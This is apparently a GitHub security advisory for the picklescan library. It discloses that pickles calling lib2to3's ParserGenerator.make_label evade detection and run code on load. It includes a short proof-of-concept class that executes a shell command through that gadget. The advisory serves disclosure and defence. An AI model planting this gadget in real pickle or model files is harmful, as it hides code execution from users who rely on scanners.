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Missing detection when calling built-in python lib2to3.pgen2.pgen.ParserGenerator.make_label

Moderate
mmaitre314 published GHSA-p9w7-82w4-7q8m Aug 26, 2025

Package

pip picklescan (pip)

Affected versions

<= 0.0.26

Patched versions

0.0.30

Description

Summary

Using lib2to3.pgen2.pgen.ParserGenerator.make_label function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to lib2to3.pgen2.pgen.ParserGenerator.make_label function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

from types import SimpleNamespace
from lib2to3.pgen2.pgen import ParserGenerator

class EvilLib2to3Pgen2ParserGeneratorMakeLabel:
    def __reduce__(self):
        c = SimpleNamespace(labels=[], keywords={}, tokens={})
        label = '""+__import__(\'os\').system(\'whoami\')'
        return ParserGenerator.make_label, (None, c, label)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

Severity

Moderate

CVE ID

No known CVE

Weaknesses

No CWEs

Credits